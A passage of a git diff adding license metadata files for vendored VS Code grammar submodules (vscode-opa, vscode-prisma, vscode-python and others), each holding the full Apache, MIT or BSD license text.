+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-opa.dep.yml b/vendor/licenses/git_submodule/vscode-opa.dep.yml
new file mode 100644
index 0000000000..331d7ad456
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-opa.dep.yml
@@ -0,0 +1,213 @@
+---
+name: vscode-opa
+version: da67d7544d5904f4057fdc0675f0042da76dbb33
+type: git_submodule
+homepage: https://github.com/open-policy-agent/vscode-opa.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright {yyyy} {name of copyright owner}
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/vscode-pddl.dep.yml b/vendor/licenses/git_submodule/vscode-pddl.dep.yml
new file mode 100644
index 0000000000..cfd15f21d9
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-pddl.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-pddl
+version: 37ea303d40fe1168d04f0abeeff7b93839c2abb0
+type: git_submodule
+homepage: https://github.com/jan-dolejsi/vscode-pddl.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2017 jan-dolejsi
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-plantuml.dep.yml b/vendor/licenses/git_submodule/vscode-plantuml.dep.yml
new file mode 100644
index 0000000000..b121d3d8c5
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-plantuml.dep.yml
@@ -0,0 +1,23 @@
+---
+name: vscode-plantuml
+version: 7bc1758ed73dc269f5721d78c6c6c01f461d7cb0
+type: git_submodule
+homepage: https://github.com/qjebbs/vscode-plantuml
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: "The MIT License (MIT) \n\nCopyright (c) 2016 jebbs\n\nPermission is hereby
+    granted, free of charge, to any person obtaining a copy of this software and \nassociated
+    documentation files (the \"Software\"), to deal in the Software without restriction,
+    including \nwithout limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell \ncopies of the Software, and to permit persons
+    to whom the Software is furnished to do so, subject to the \nfollowing conditions:\n\nThe
+    above copyright notice and this permission notice shall be included in all copies
+    or substantial portions \nof the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\",
+    WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED \nTO
+    THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL \nTHE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
+    DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF \nCONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER \nDEALINGS
+    IN THE SOFTWARE.\n"
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-prisma.dep.yml b/vendor/licenses/git_submodule/vscode-prisma.dep.yml
new file mode 100644
index 0000000000..c11e616224
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-prisma.dep.yml
@@ -0,0 +1,211 @@
+---
+name: vscode-prisma
+version: c2e3bfafa342a8950ef35b646da2c213bc609c71
+type: git_submodule
+homepage: https://github.com/prisma/vscode-prisma
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-procfile.dep.yml b/vendor/licenses/git_submodule/vscode-procfile.dep.yml
new file mode 100644
index 0000000000..4bd4cd0b20
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-procfile.dep.yml
@@ -0,0 +1,39 @@
+---
+name: vscode-procfile
+version: 4e149fd5e757352aa5867b59934acc16e19182a1
+type: git_submodule
+homepage: https://github.com/benspaulding/vscode-procfile
+license: bsd-3-clause
+licenses:
+- sources: LICENSE.txt
+  text: |
+    BSD 3-Clause License
+
+    Copyright (c) 2024, Ben Spaulding.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    3. Neither the name of the copyright holder nor the names of its
+       contributors may be used to endorse or promote products derived from
+       this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-proto3.dep.yml b/vendor/licenses/git_submodule/vscode-proto3.dep.yml
new file mode 100644
index 0000000000..96cc5db9f2
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-proto3.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-proto3
+version: 445cf36606f2a6623d4b48e97e255e7272e314a8
+type: git_submodule
+homepage: https://github.com/zxh0/vscode-proto3
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2016
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-python.dep.yml b/vendor/licenses/git_submodule/vscode-python.dep.yml
new file mode 100644
index 0000000000..82c6ff30bb
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-python.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-python
+version: 7ccf01ebe33624a7dbb7b69abe5e0c3db11d3735
+type: git_submodule
+homepage: https://github.com/microsoft/vscode-python.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) Microsoft Corporation. All rights reserved.
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-rbs-syntax.dep.yml b/vendor/licenses/git_submodule/vscode-rbs-syntax.dep.yml
new file mode 100644
index 0000000000..544d291818
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-rbs-syntax.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-rbs-syntax
+version: b99890fe161f1f5d9691239cce9ed44aeb5f8e0d
+type: git_submodule
+homepage: https://github.com/soutaro/vscode-rbs-syntax.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2019 Seiei Miyagi and Soutaro Matsumoto
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-ron.dep.yml b/vendor/licenses/git_submodule/vscode-ron.dep.yml
new file mode 100644
index 0000000000..ebf808a49f
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-ron.dep.yml
@@ -0,0 +1,19 @@
+---
+name: vscode-ron
+version: 8a6f077d64092fa68d638e956784b27b49431240
+type: git_submodule
+homepage: https://github.com/a5huynh/vscode-ron.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |+
+    Copyright 2019 Andrew Huynh
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/vscode-scala-syntax.dep.yml b/vendor/licenses/git_submodule/vscode-scala-syntax.dep.yml
new file mode 100644
index 0000000000..46419d1c7a
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-scala-syntax.dep.yml
@@ -0,0 +1,33 @@
+---
+name: vscode-scala-syntax
+version: fb73e8a0bfcd9a3c45f2c1b712e00c35865a9178
+type: git_submodule
+homepage: https://github.com/scala/vscode-scala-syntax
+license: other
+licenses:
+- sources: LICENSE.md
+  text: |
+    MIT License
+
+    Copyright (c) 2018 Nicolas Stucki
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
